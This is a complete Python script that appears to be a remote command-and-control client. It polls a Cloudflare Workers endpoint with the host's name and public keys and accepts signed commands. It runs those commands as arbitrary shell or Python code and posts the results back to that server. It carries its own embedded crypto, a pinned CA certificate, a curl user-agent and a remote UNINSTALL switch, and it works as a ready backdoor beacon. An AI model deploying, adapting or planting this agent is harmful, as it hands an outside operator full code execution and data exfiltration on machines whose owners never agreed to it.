#!/usr/bin/env python3 import os WORKER_URL = "https://command-distribution-worker.young-dawn-ece4.workers.dev" HOSTNAME = __import__('socket').gethostname() SLEEP_INTERVAL = 1 import sys import time import json import base64 import zlib import socket import subprocess import urllib.request import ssl import threading import queue import io import hashlib import hmac from contextlib import redirect_stdout, redirect_stderr DEBUG, INFO, ERROR = 3, 2, 1 LOG_LEVEL = DEBUG def _log(lvl, msg): if lvl <= LOG_LEVEL: out = sys.stderr if lvl == ERROR else sys.stdout print(msg, file=out, flush=True) _CHACHA20_CONSTANTS = (0x61707865, 0x3320646e, 0x79622d32, 0x6b206574) def _rotl32(v, bits): return ((v << bits) & 0xffffffff) | (v >> (32 - bits)) def _chacha20_quarter_round(s, a, b, c, d): s[a] = (s[a] + s[b]) & 0xffffffff s[d] = _rotl32(s[d] ^ s[a], 16) s[c] = (s[c] + s[d]) & 0xffffffff s[b] = _rotl32(s[b] ^ s[c], 12) s[a] = (s[a] + s[b]) & 0xffffffff s[d] = _rotl32(s[d] ^ s[a], 8) s[c] = (s[c] + s[d]) & 0xffffffff s[b] = _rotl32(s[b] ^ s[c], 7) def _chacha20_block(key, nonce, counter): state = list(_CHACHA20_CONSTANTS) state.extend(int.from_bytes(key[i:i+4], 'little') for i in range(0, 32, 4)) state.append(counter) state.extend(int.from_bytes(nonce[i:i+4], 'little') for i in range(0, 12, 4)) working = list(state) for _ in range(10): _chacha20_quarter_round(working, 0, 4, 8, 12) _chacha20_quarter_round(working, 1, 5, 9, 13) _chacha20_quarter_round(working, 2, 6, 10, 14) _chacha20_quarter_round(working, 3, 7, 11, 15) _chacha20_quarter_round(working, 0, 5, 10, 15) _chacha20_quarter_round(working, 1, 6, 11, 12) _chacha20_quarter_round(working, 2, 7, 8, 13) _chacha20_quarter_round(working, 3, 4, 9, 14) return b''.join(((working[i] + state[i]) & 0xffffffff).to_bytes(4, 'little') for i in range(16)) def _chacha20_encrypt(key, nonce, plaintext, counter=0): result = bytearray() for i in range(0, len(plaintext), 64): block = _chacha20_block(key, nonce, counter + i // 64) chunk = plaintext[i:i+64] result.extend(a ^ b for a, b in zip(chunk, block)) return bytes(result) def _poly1305_mac(msg, key): r = int.from_bytes(key[:16], 'little') & 0x0ffffffc0ffffffc0ffffffc0fffffff s = int.from_bytes(key[16:], 'little') a, p = 0, (1 << 130) - 5 for i in range(0, len(msg), 16): block = msg[i:i+16] + b'\x01' a = ((a + int.from_bytes(block, 'little')) * r) % p return ((a + s) & ((1 << 128) - 1)).to_bytes(16, 'little') def _pad16(data): rem = len(data) % 16 return b'\x00' * (16 - rem) if rem else b'' def _chacha20_poly1305_encrypt(key, nonce, plaintext, aad=b''): otk = _chacha20_encrypt(key, nonce, b'\x00' * 32, counter=0) ciphertext = _chacha20_encrypt(key, nonce, plaintext, counter=1) mac_data = aad + _pad16(aad) + ciphertext + _pad16(ciphertext) mac_data += len(aad).to_bytes(8, 'little') + len(ciphertext).to_bytes(8, 'little') return ciphertext + _poly1305_mac(mac_data, otk) def _chacha20_poly1305_decrypt(key, nonce, ciphertext_with_tag, aad=b''): if len(ciphertext_with_tag) < 16: raise ValueError("Ciphertext too short") ciphertext, tag = ciphertext_with_tag[:-16], ciphertext_with_tag[-16:] otk = _chacha20_encrypt(key, nonce, b'\x00' * 32, counter=0) mac_data = aad + _pad16(aad) + ciphertext + _pad16(ciphertext) mac_data += len(aad).to_bytes(8, 'little') + len(ciphertext).to_bytes(8, 'little') if not hmac.compare_digest(tag, _poly1305_mac(mac_data, otk)): raise ValueError("Authentication failed") return _chacha20_encrypt(key, nonce, ciphertext, counter=1) _X25519_P = 2**255 - 19 _X25519_A = 486662 def _x25519_point_add(point_n, point_m, point_diff): (xn, zn), (xm, zm), (x_diff, z_diff) = point_n, point_m, point_diff x = (z_diff << 2) * (xm * xn - zm * zn) ** 2 z = (x_diff << 2) * (xm * zn - zm * xn) ** 2 return x % _X25519_P, z % _X25519_P def _x25519_point_double(point_n): (xn, zn) = point_n xn2, zn2 = xn ** 2, zn ** 2 x = (xn2 - zn2) ** 2 xzn = xn * zn z = 4 * xzn * (xn2 + _X25519_A * xzn + zn2) return x % _X25519_P, z % _X25519_P def _x25519_scalar_mult(base, n): zero, one = (1, 0), (base, 1) mP, m1P = zero, one for i in reversed(range(256)): bit = bool(n & (1 << i)) if bit: mP, m1P = m1P, mP mP, m1P = _x25519_point_double(mP), _x25519_point_add(mP, m1P, one) if bit: mP, m1P = m1P, mP x, z = mP return (x * pow(z, _X25519_P - 2, _X25519_P)) % _X25519_P def _x25519_clamp(n): n &= ~7 n &= ~(128 << 248) n |= 64 << 248 return n def _x25519(private_key, public_key): if len(private_key) != 32 or len(public_key) != 32: raise ValueError("Keys must be 32 bytes") n = _x25519_clamp(int.from_bytes(private_key, 'little')) u = int.from_bytes(public_key, 'little') & ((1 << 255) - 1) return _x25519_scalar_mult(u, n).to_bytes(32, 'little') def _x25519_base(private_key): if len(private_key) != 32: raise ValueError("Private key must be 32 bytes") n = _x25519_clamp(int.from_bytes(private_key, 'little')) return _x25519_scalar_mult(9, n).to_bytes(32, 'little') class X25519PublicKey: def __init__(self, data): self._data = data if isinstance(data, bytes) else data.to_bytes(32, 'little') @classmethod def from_public_bytes(cls, data): return cls(data) def public_bytes(self): return self._data class X25519PrivateKey: def __init__(self, data): self._data = data @classmethod def generate(cls): return cls(os.urandom(32)) @classmethod def from_private_bytes(cls, data): return cls(data) def private_bytes(self): return self._data def public_key(self): return X25519PublicKey(_x25519_base(self._data)) def exchange(self, peer_public_key): peer_bytes = peer_public_key.public_bytes() if isinstance(peer_public_key, X25519PublicKey) else peer_public_key return _x25519(self._data, peer_bytes) _ED25519_Q = 2**255 - 19 _ED25519_L = 2**252 + 27742317777372353535851937790883648493 _ED25519_D = -121665 * pow(121666, _ED25519_Q - 2, _ED25519_Q) % _ED25519_Q _ED25519_I = pow(2, (_ED25519_Q - 1) // 4, _ED25519_Q) def _ed25519_xrecover(y): xx = (y*y - 1) * pow(_ED25519_D*y*y + 1, _ED25519_Q - 2, _ED25519_Q) x = pow(xx, (_ED25519_Q + 3) // 8, _ED25519_Q) if (x*x - xx) % _ED25519_Q != 0: x = (x * _ED25519_I) % _ED25519_Q if x % 2 != 0: x = _ED25519_Q - x return x _ED25519_BY = 4 * pow(5, _ED25519_Q - 2, _ED25519_Q) % _ED25519_Q _ED25519_BX = _ed25519_xrecover(_ED25519_BY) _ED25519_B = (_ED25519_BX % _ED25519_Q, _ED25519_BY % _ED25519_Q) def _ed25519_to_extended(pt): x, y = pt return (x % _ED25519_Q, y % _ED25519_Q, 1, (x * y) % _ED25519_Q) def _ed25519_from_extended(pt): x, y, z, _ = pt zi = pow(z, _ED25519_Q - 2, _ED25519_Q) return ((x * zi) % _ED25519_Q, (y * zi) % _ED25519_Q) def _ed25519_double(pt): X1, Y1, Z1, _ = pt A, B = X1*X1, Y1*Y1 C = 2*Z1*Z1 D = (-A) % _ED25519_Q J = (X1 + Y1) % _ED25519_Q E = (J*J - A - B) % _ED25519_Q G = (D + B) % _ED25519_Q F = (G - C) % _ED25519_Q H = (D - B) % _ED25519_Q return ((E*F) % _ED25519_Q, (G*H) % _ED25519_Q, (F*G) % _ED25519_Q, (E*H) % _ED25519_Q) def _ed25519_add(pt1, pt2): X1, Y1, Z1, T1 = pt1 X2, Y2, Z2, T2 = pt2 A = ((Y1-X1)*(Y2-X2)) % _ED25519_Q B = ((Y1+X1)*(Y2+X2)) % _ED25519_Q C = T1*(2*_ED25519_D)*T2 % _ED25519_Q D = Z1*2*Z2 % _ED25519_Q E, F, G, H = (B-A) % _ED25519_Q, (D-C) % _ED25519_Q, (D+C) % _ED25519_Q, (B+A) % _ED25519_Q return ((E*F) % _ED25519_Q, (G*H) % _ED25519_Q, (F*G) % _ED25519_Q, (E*H) % _ED25519_Q) def _ed25519_scalarmult(pt, n): if n == 0: return _ed25519_to_extended((0, 1)) result = _ed25519_to_extended((0, 1)) addend = pt while n > 0: if n & 1: result = _ed25519_add(result, addend) addend = _ed25519_double(addend) n >>= 1 return result def _ed25519_encodepoint(pt): x, y = pt return (y + ((x & 1) << 255)).to_bytes(32, 'little') def _ed25519_decodepoint(s): y = int.from_bytes(s, 'little') & ((1 << 255) - 1) x = _ed25519_xrecover(y) if bool(x & 1) != bool(s[31] & 0x80): x = _ED25519_Q - x return (x, y) def _ed25519_Hint(m): return int.from_bytes(hashlib.sha512(m).digest(), 'little') def _ed25519_clamp_scalar(s): a = int.from_bytes(s, 'little') a &= (1 << 254) - 8 a |= 1 << 254 return a def _ed25519_publickey(seed): h = hashlib.sha512(seed).digest() a = _ed25519_clamp_scalar(h[:32]) A = _ed25519_from_extended(_ed25519_scalarmult(_ed25519_to_extended(_ED25519_B), a)) return _ed25519_encodepoint(A) def _ed25519_sign(message, seed): h = hashlib.sha512(seed).digest() a = _ed25519_clamp_scalar(h[:32]) public_key = _ed25519_publickey(seed) r = _ed25519_Hint(h[32:] + message) R = _ed25519_from_extended(_ed25519_scalarmult(_ed25519_to_extended(_ED25519_B), r)) R_bytes = _ed25519_encodepoint(R) S = (r + _ed25519_Hint(R_bytes + public_key + message) * a) % _ED25519_L return R_bytes + S.to_bytes(32, 'little') def _ed25519_verify(signature, message, public_key): if len(signature) != 64 or len(public_key) != 32: return False try: R = _ed25519_decodepoint(signature[:32]) A = _ed25519_decodepoint(public_key) S = int.from_bytes(signature[32:], 'little') h = _ed25519_Hint(signature[:32] + public_key + message) Bext, Rext, Aext = _ed25519_to_extended(_ED25519_B), _ed25519_to_extended(R), _ed25519_to_extended(A) v1 = _ed25519_from_extended(_ed25519_scalarmult(Bext, S)) v2 = _ed25519_from_extended(_ed25519_add(Rext, _ed25519_scalarmult(Aext, h))) return hmac.compare_digest(_ed25519_encodepoint(v1), _ed25519_encodepoint(v2)) except Exception: return False class Ed25519PrivateKey: def __init__(self, seed): self._seed = seed self._public_key = _ed25519_publickey(seed) @classmethod def generate(cls): return cls(os.urandom(32)) @classmethod def from_private_bytes(cls, data): return cls(data) def private_bytes(self): return self._seed def public_key(self): return Ed25519PublicKey(self._public_key) def sign(self, message): return _ed25519_sign(message, self._seed) class Ed25519PublicKey: def __init__(self, data): self._data = data @classmethod def from_public_bytes(cls, data): return cls(data) def public_bytes(self): return self._data def verify(self, signature, message): if not _ed25519_verify(signature, message, self._data): raise ValueError("Invalid signature") return True def _hkdf_sha256(ikm, salt, info, length): if salt is None: salt = b'\x00' * 32 prk = hmac.new(salt, ikm, hashlib.sha256).digest() n = (length + 32 - 1) // 32 okm, t = b'', b'' for i in range(1, n + 1): t = hmac.new(prk, t + info + bytes([i]), hashlib.sha256).digest() okm += t return okm[:length] _CRYPTO_INFO = b"simple-sea-sea-v1" class Box: NONCE_SIZE = 24 def __init__(self, private_key, public_key): priv = private_key.private_bytes() if isinstance(private_key, X25519PrivateKey) else private_key pub = public_key.public_bytes() if isinstance(public_key, X25519PublicKey) else public_key self._shared_key = _x25519(priv, pub) if self._shared_key == b'\x00' * 32: raise ValueError("Invalid public key - shared secret is zero") def encrypt(self, plaintext, nonce): if len(nonce) != 24: raise ValueError("Nonce must be 24 bytes") key = _hkdf_sha256(self._shared_key, salt=None, info=_CRYPTO_INFO + nonce, length=32) ciphertext = _chacha20_poly1305_encrypt(key, nonce[12:24], plaintext) return type('Encrypted', (), {'ciphertext': ciphertext, 'nonce': nonce})() def decrypt(self, ciphertext, nonce): if len(nonce) != 24: raise ValueError("Nonce must be 24 bytes") key = _hkdf_sha256(self._shared_key, salt=None, info=_CRYPTO_INFO + nonce, length=32) return _chacha20_poly1305_decrypt(key, nonce[12:24], ciphertext) _old_getaddrinfo = socket.getaddrinfo def _new_getaddrinfo(*args, **kwargs): return [r for r in _old_getaddrinfo(*args, **kwargs) if r[0] == socket.AF_INET] socket.getaddrinfo = _new_getaddrinfo response_queue = queue.Queue() running_commands = {} running_commands_lock = threading.Lock() persistent_globals = {"__name__": "__main__"} CLIENT_SIGNING_KEY = None CLIENT_BOX_KEY = None CLIENT_ID = None TASKER_VERIFY_KEY = None def compute_client_id(signing_pubkey_bytes): return hashlib.sha256(signing_pubkey_bytes).hexdigest()[:16] def generate_client_keys(): signing_key = Ed25519PrivateKey.generate() box_key = X25519PrivateKey.generate() _log(DEBUG, f"[{HOSTNAME}] Client keys generated (in-memory only)") return signing_key, box_key def verify_command_signature(payload_b64, signature_b64, tasker_verify_key): try: payload = base64.b64decode(payload_b64) signature = base64.b64decode(signature_b64) tasker_verify_key.verify(signature, payload) return True except Exception as e: _log(ERROR, f"[{HOSTNAME}] Signature verification failed: {e}") return False def parse_signed_command(payload_b64): try: payload_compressed = base64.b64decode(payload_b64) try: payload = zlib.decompress(payload_compressed) except zlib.error: payload = payload_compressed data = json.loads(payload.decode()) cmd = data.get("cmd", "") ts = data.get("ts", 0) targets = data.get("targets", []) if abs(time.time() - ts) > REPLAY_WINDOW_SECONDS: _log(ERROR, f"[{HOSTNAME}] Command expired (replay protection)") return None if targets and CLIENT_ID not in targets: _log(ERROR, f"[{HOSTNAME}] Command not targeted at this client") return None return cmd except Exception as e: _log(ERROR, f"[{HOSTNAME}] Failed to parse command: {e}") return None REPLAY_WINDOW_SECONDS = 300 MAX_SEEN_NONCES = 10000 class NonceTracker: def __init__(self, max_size=MAX_SEEN_NONCES): self._seen = {} self._max_size = max_size def check_and_add(self, nonce_bytes): now = time.time() if nonce_bytes in self._seen: return False self._evict_old(now) self._seen[nonce_bytes] = now return True def _evict_old(self, now): if len(self._seen) >= self._max_size: cutoff = now - REPLAY_WINDOW_SECONDS self._seen = {k: v for k, v in self._seen.items() if v > cutoff} if len(self._seen) >= self._max_size: oldest = min(self._seen, key=self._seen.get) del self._seen[oldest] nonce_tracker = NonceTracker() def sign_payload(payload_bytes, signing_key): return base64.b64encode(signing_key.sign(payload_bytes)).decode() def execute_python(code): stdout_capture, stderr_capture = io.StringIO(), io.StringIO() try: with redirect_stdout(stdout_capture), redirect_stderr(stderr_capture): exec(code, persistent_globals) output, errors = stdout_capture.getvalue(), stderr_capture.getvalue() return output + errors if errors else output except Exception as e: return f"Python Error: {type(e).__name__}: {str(e)}" def execute_shell(command): try: proc = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=3600) return proc.stdout + proc.stderr except subprocess.TimeoutExpired: return "Error: Command timed out (1 hour limit)" except Exception as e: return f"Error: {str(e)}" def execute_command_async(command_id, command): def worker(): if command.startswith("!py "): result = execute_python(command[4:]) elif command.startswith("!pyfile "): filepath = command[8:].strip() try: with open(filepath, 'r') as f: result = execute_python(f.read()) except Exception as e: result = f"Error reading file: {str(e)}" else: result = execute_shell(command) response_queue.put((command_id, result)) with running_commands_lock: running_commands.pop(command_id, None) thread = threading.Thread(target=worker, daemon=True) with running_commands_lock: running_commands[command_id] = thread thread.start() CLOUDFLARE_CORP_CA = b"""-----BEGIN CERTIFICATE----- MIIC2DCCAjqgAwIBAgIUULP/3b3pBVa4Rxs9Wp+Qdgb2DzAwCgYIKoZIzj0EAwQw fjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNh biBGcmFuY2lzY28xGDAWBgNVBAoMD0Nsb3VkZmxhcmUsIEluYzEoMCYGA1UEAwwf Q2xvdWRmbGFyZSBDb3Jwb3JhdGUgWmVybyBUcnVzdDAeFw0yMzExMDIxMzQyMTZa Fw0zMzEwMzAxMzQyMTZaMH4xCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9y bmlhMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMRgwFgYDVQQKDA9DbG91ZGZsYXJl LCBJbmMxKDAmBgNVBAMMH0Nsb3VkZmxhcmUgQ29ycG9yYXRlIFplcm8gVHJ1c3Qw gZswEAYHKoZIzj0CAQYFK4EEACMDgYYABAAqcf4GGW2gqIu3GRbDb8VLCPe/6m5K hhpsPCDOnaD5OxNtitMpEywq0ZtitzjD6uVtShIbBO6rVkUH0wyQNYtXhgG5a1uW G6QkHRm9/5sAe6UdOy+UwLWTYo/sVY4LHmIqHkLHCzEnaIC8rTl7K6nrUS0x0yuV AKDAYSW6WJXyXA+SRKNTMFEwHQYDVR0OBBYEFK60CpeVd5k8fTeuwtrBHtTs2mRV MB8GA1UdIwQYMBaAFK60CpeVd5k8fTeuwtrBHtTs2mRVMA8GA1UdEwEB/wQFMAMB Af8wCgYIKoZIzj0EAwQDgYsAMIGHAkIBhZTzUJfb++V8p4n2K7amHWgxBI9o3ajQ nRyQAFgG91x5xsOV51+IBdLyBN5Gt4SfaYM3KniUiSbN91fEkVljLQACQRtNL3ua MPeiqlj1HAL7oB8zfBuKgQuI+HrOAcpyDedvxS2uEa9+eSZFnTZmoZUWwHUnvEIR V5jaFyo3WEykfoUF -----END CERTIFICATE-----""" def _create_ssl_context(): ctx = ssl.create_default_context() ctx.load_verify_locations(cadata=CLOUDFLARE_CORP_CA.decode()) cert_file, cert_dir = os.environ.get("SSL_CERT_FILE"), os.environ.get("SSL_CERT_DIR") if cert_file or cert_dir: ctx.load_verify_locations(cafile=cert_file, capath=cert_dir) return ctx SSL_CONTEXT = _create_ssl_context() class RegistrationError(Exception): pass def http_get(url, headers=None): req_headers = {"User-Agent": "curl/8.0"} if headers: req_headers.update(headers) req = urllib.request.Request(url, headers=req_headers) try: with urllib.request.urlopen(req, timeout=10, context=SSL_CONTEXT) as r: return json.loads(r.read().decode()) except urllib.error.HTTPError as e: if e.code in (401, 403): raise RegistrationError(f"Registration failed: {e.code}") raise def http_post(url, data, headers=None): payload = json.dumps(data).encode() req_headers = {"Content-Type": "application/json", "User-Agent": "curl/8.0"} if headers: req_headers.update(headers) req = urllib.request.Request(url, data=payload, headers=req_headers) try: urllib.request.urlopen(req, timeout=10, context=SSL_CONTEXT) except Exception as e: _log(ERROR, f"[{HOSTNAME}] POST error: {e}") def response_sender(): global CLIENT_SIGNING_KEY while True: try: command_id, result = response_queue.get() if CLIENT_SIGNING_KEY: response_json = json.dumps({"response": result, "ts": int(time.time())}).encode() response_compressed = zlib.compress(response_json, level=6) signature = sign_payload(response_compressed, CLIENT_SIGNING_KEY) message = {"id": command_id, "payload": base64.b64encode(response_compressed).decode(), "signature": signature} auth_key = base64.b64encode(CLIENT_SIGNING_KEY.public_key().public_bytes()).decode().replace('+', '%2B') url = f"{WORKER_URL}/endpoint?hostname={HOSTNAME}&signingPubKey={auth_key}" else: message = {"id": command_id, "response": base64.b64encode(result.encode()).decode(), "encoding": "base64"} url = f"{WORKER_URL}/endpoint?hostname={HOSTNAME}" http_post(url, message) except Exception as e: _log(ERROR, f"[{HOSTNAME}] Sender error: {e}") def main(): global SLEEP_INTERVAL, CLIENT_SIGNING_KEY, CLIENT_BOX_KEY, CLIENT_ID global TASKER_VERIFY_KEY if not WORKER_URL: _log(ERROR, "WORKER_URL not configured") sys.exit(1) _log(INFO, f"[{HOSTNAME}] Starting client, connecting to {WORKER_URL}") CLIENT_SIGNING_KEY, CLIENT_BOX_KEY = generate_client_keys() CLIENT_ID = compute_client_id(CLIENT_SIGNING_KEY.public_key().public_bytes()) _log(INFO, f"[{HOSTNAME}] Client ID: {CLIENT_ID}") sender_thread = threading.Thread(target=response_sender, daemon=True) sender_thread.start() client_signing_pub = base64.b64encode(CLIENT_SIGNING_KEY.public_key().public_bytes()).decode() client_box_pub = base64.b64encode(CLIENT_BOX_KEY.public_key().public_bytes()).decode() while True: try: url = f"{WORKER_URL}/endpoint?hostname={HOSTNAME}" url += f"&signingPubKey={client_signing_pub.replace('+', '%2B')}&boxPubKey={client_box_pub.replace('+', '%2B')}" data = http_get(url) tasker_signing_pub = data.get('taskerSigningPubKey') if tasker_signing_pub and not TASKER_VERIFY_KEY: TASKER_VERIFY_KEY = Ed25519PublicKey.from_public_bytes(base64.b64decode(tasker_signing_pub)) _log(INFO, f"[{HOSTNAME}] Tasker signing key received") new_interval = data.get('timeout') if new_interval and isinstance(new_interval, (int, float)) and 1 <= new_interval <= 3600: if SLEEP_INTERVAL != int(new_interval): _log(INFO, f"[{HOSTNAME}] Poll interval changed: {SLEEP_INTERVAL}s -> {new_interval}s") SLEEP_INTERVAL = int(new_interval) elif new_interval is not None: _log(DEBUG, f"[{HOSTNAME}] Ignoring invalid timeout value: {new_interval!r} (type={type(new_interval).__name__})") command = data.get('command', '') command_id = data.get('id', '') if isinstance(command, dict): payload, signature = command.get('payload'), command.get('signature') else: payload, signature = data.get('payload'), data.get('signature') if payload and signature: if not TASKER_VERIFY_KEY: _log(ERROR, f"[{HOSTNAME}] No tasker key, cannot verify command") elif not verify_command_signature(payload, signature, TASKER_VERIFY_KEY): _log(ERROR, f"[{HOSTNAME}] Invalid signature, rejecting command") else: command = parse_signed_command(payload) if command: _log(DEBUG, f"[{HOSTNAME}] Verified command: {command[:50]}") if command == "UNINSTALL" and payload and signature: _log(INFO, f"[{HOSTNAME}] Uninstalling (verified)") if CLIENT_SIGNING_KEY: response_payload = json.dumps({"response": "Shutting down", "ts": int(time.time())}).encode() sig = sign_payload(response_payload, CLIENT_SIGNING_KEY) message = {"id": command_id, "payload": base64.b64encode(response_payload).decode(), "signature": sig} http_post(f"{WORKER_URL}/endpoint?hostname={HOSTNAME}", message) sys.exit(0) with running_commands_lock: already_running = command_id in running_commands if command and command != "null" and not already_running: _log(DEBUG, f"[{HOSTNAME}] Executing: {command[:50]}") execute_command_async(command_id, command) except RegistrationError as e: _log(ERROR, f"[{HOSTNAME}] {e} - exiting") sys.exit(1) except Exception as e: _log(ERROR, f"[{HOSTNAME}] Error: {e}") time.sleep(SLEEP_INTERVAL) if __name__ == "__main__": main()